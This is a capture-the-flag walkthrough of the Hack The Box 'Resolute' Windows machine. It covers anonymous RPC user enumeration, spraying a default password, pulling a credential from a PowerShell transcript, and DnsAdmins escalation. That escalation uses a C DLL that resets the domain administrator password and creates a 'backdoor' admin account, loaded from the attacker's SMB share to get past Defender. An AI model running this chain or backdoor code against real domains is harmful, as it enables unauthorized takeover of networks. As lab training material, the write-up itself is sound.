You are currently viewing HTB – Resolute – Windows (Medium)

HTB – Resolute – Windows (Medium)

  • Post category:Medium / Windows
  • Reading time:11 mins read

In this machine from Hack The Box, we are going to talk about Active Directory, password spraying and DNS, let’s dive in !

Initial scan and enumeration

As always we start by scanning our target to see open ports :

PORT      STATE SERVICE      VERSION

53/tcp    open  domain       Simple DNS Plus
88/tcp    open  kerberos-sec Microsoft Windows Kerberos (server time: 2024-12-03 21:07:24Z)
135/tcp   open  msrpc        Microsoft Windows RPC
139/tcp   open  netbios-ssn  Microsoft Windows netbios-ssn
389/tcp   open  ldap         Microsoft Windows Active Directory LDAP (Domain: megabank.local, Site: Default-First-Site-Name)
445/tcp   open  microsoft-ds Windows Server 2016 Standard 14393 microsoft-ds (workgroup: MEGABANK)
464/tcp   open  kpasswd5?
593/tcp   open  ncacn_http   Microsoft Windows RPC over HTTP 1.0
636/tcp   open  tcpwrapped
3268/tcp  open  ldap         Microsoft Windows Active Directory LDAP (Domain: megabank.local, Site: Default-First-Site-Name)
3269/tcp  open  tcpwrapped
5985/tcp  open  http         Microsoft HTTPAPI httpd 2.0 (SSDP/UPnP)
|_http-server-header: Microsoft-HTTPAPI/2.0
|_http-title: Not Found
9389/tcp  open  mc-nmf       .NET Message Framing
47001/tcp open  http         Microsoft HTTPAPI httpd 2.0 (SSDP/UPnP)
|_http-server-header: Microsoft-HTTPAPI/2.0
|_http-title: Not Found
49664/tcp open  msrpc        Microsoft Windows RPC
49665/tcp open  msrpc        Microsoft Windows RPC
49666/tcp open  msrpc        Microsoft Windows RPC
49668/tcp open  msrpc        Microsoft Windows RPC
49670/tcp open  msrpc        Microsoft Windows RPC
49674/tcp open  ncacn_http   Microsoft Windows RPC over HTTP 1.0
49675/tcp open  msrpc        Microsoft Windows RPC
49686/tcp open  msrpc        Microsoft Windows RPC
49908/tcp open  msrpc        Microsoft Windows RPC
49973/tcp open  unknown
Service Info: Host: RESOLUTE; OS: Windows; CPE: cpe:/o:microsoft:windows

Host script results:
| smb-os-discovery: 
|   OS: Windows Server 2016 Standard 14393 (Windows Server 2016 Standard 6.3)
|   Computer name: Resolute
|   NetBIOS computer name: RESOLUTE\x00
|   Domain name: megabank.local
|   Forest name: megabank.local
|   FQDN: Resolute.megabank.local
|_  System time: 2024-12-03T13:08:14-08:00
| smb2-security-mode: 
|   3:1:1: 
|_    Message signing enabled and required
| smb2-time: 
|   date: 2024-12-03T21:08:17
|_  start_date: 2024-12-03T20:59:55
|_clock-skew: mean: 2h47m01s, deviation: 4h37m08s, median: 7m00s
| smb-security-mode: 
|   account_used: <blank>
|   authentication_level: user
|   challenge_response: supported
|_  message_signing: required

With this scan we got some information about the machine type, it is a Windows machine named Resolute using Kerberos and we also got a domain name : megabank.local

We can spot some interesting open ports :

– Kerberos on port 88

– Windows RPC on port 135

– SMB on port 445

– Windows active directory LDAP on port 3268

I like to start with the SMB shares on a machine, but in this case I could not get much information apart from the password policy. The policy is still very useful, it indicates what type of password complexity is applied and if there is a accounts lockout when too many password attempts are made. We do not want to lock any account by mistake so we should keep this in mind.

Next step will be RPC, it may be possible to connect to it without authentication and, indeed, in our case, it is. That way we can extract a lot of information like users, groups and more, we can build a users list :

rpcclient -U "" -N 10.10.10.169 -c "enumdomusers" | cut -d "[" -f 2 | cut -d "]" -f 1

We can repeat this to enumerate the domain name, groups and much more, for example get more detailed information about a specific user. While doing so, we come across a password linked to the user named Marko :

rpcclient -U "" -N 10.10.10.169 -c "queryuser 0x457"

Initial foothold

This could very be the default password whenever a new account is created in this environment because of the wording “Account created“. We can try to get access using Marko account, but it is not working, it seems he changed it. No worries, we can try out this password for every other users, maybe someone did not change his default password.

It looks like Melanie is still using the default password, from previous enumeration we know she is part of the Remote Management Users group and has WinRM access. Therefore, we can use her credential to gain our initial access on the box.

Lateral movement

The account does not have specific rights or privileges we seems to be able to exploit to gain more access. Nevermind, during our enumeration on the machine we found a Powershell transcription in a hidden directory.

This transcript is very interesting because it contains another password used by the user Ryan to connect to a backup share.

ParameterBinding(Invoke-Expression): name="Command"; value="cmd /c net use X: \\fs01\backups ryan Se**************

With this new password we have now access to a new account with new privileges and new rights. In this case Ryan is part of the Contractors group, which itself contains the DNS Admins group, meaning we have access and control over the DNS.

Privilege escalation

As a member of the DNS Admins group we have acces to the DNS service, meaning we can try to abuse it by injecting a DLL into the service when it starts. In order to do that we need to add a registry key telling our DNS to look for our DLL. The service is going to start using NT AUTHORITY\SYSTEM rights and we leverage that to our advantage, it will then run our own code and, in this case, change the administrator password.

First we build a DLL to dynamically inject into the process :

#include <stdlib.h>
#include <windows.h>

BOOL APIENTRY DllMain(
HANDLE hModule,// Handle to DLL module
DWORD ul_reason_for_call,// Reason for calling function
LPVOID lpReserved ) // Reserved
{
    switch ( ul_reason_for_call )
    {
        // A process is loading the DLL.
        case DLL_PROCESS_ATTACH:
        int i;
        // Change administrator password
  	    i = system("net user administrator Password123! /domain");
  	    // Add new local user with administrator rights
  	    i = system("net user backdoor Password123! /add");
  	    i = system("net localgroup administrators backdoor /add");
        break;
        case DLL_THREAD_ATTACH:
        break;
        case DLL_THREAD_DETACH:
        break;
        case DLL_PROCESS_DETACH:
        break;
    }
    return TRUE;
}

At first I tried to import the DLL directly on the local machine, but it would not work as it got picked-up by Defender. Instead, we could use a remote SMB share to load the DLL and try to evade the detection that way. We are going to do that just by hosting the file on our own SMB share called DNS running on our own local machine.

Then, we add the relevante registry key to tell the DNS service to use our DLL when the service starts :

dnscmd localhost /config /serverlevelplugindll \\10.10.14.16\dns\dns.dll

We can check if the registry key has been correctly added :

Get-ItemProperty -Path 'HKLM:\SYSTEM\CurrentControlSet\services\DNS\Parameters\'

Once this is confirmed we can restart the DNS service :

sc.exe stop dns
sc.exe start dns

We can see that the Resolute machine connected to our SMB share to pull our DLL and ran our code.

Now we can connect using the Administrator password we have set ourself :

We have now control over the Administrator account, congratz !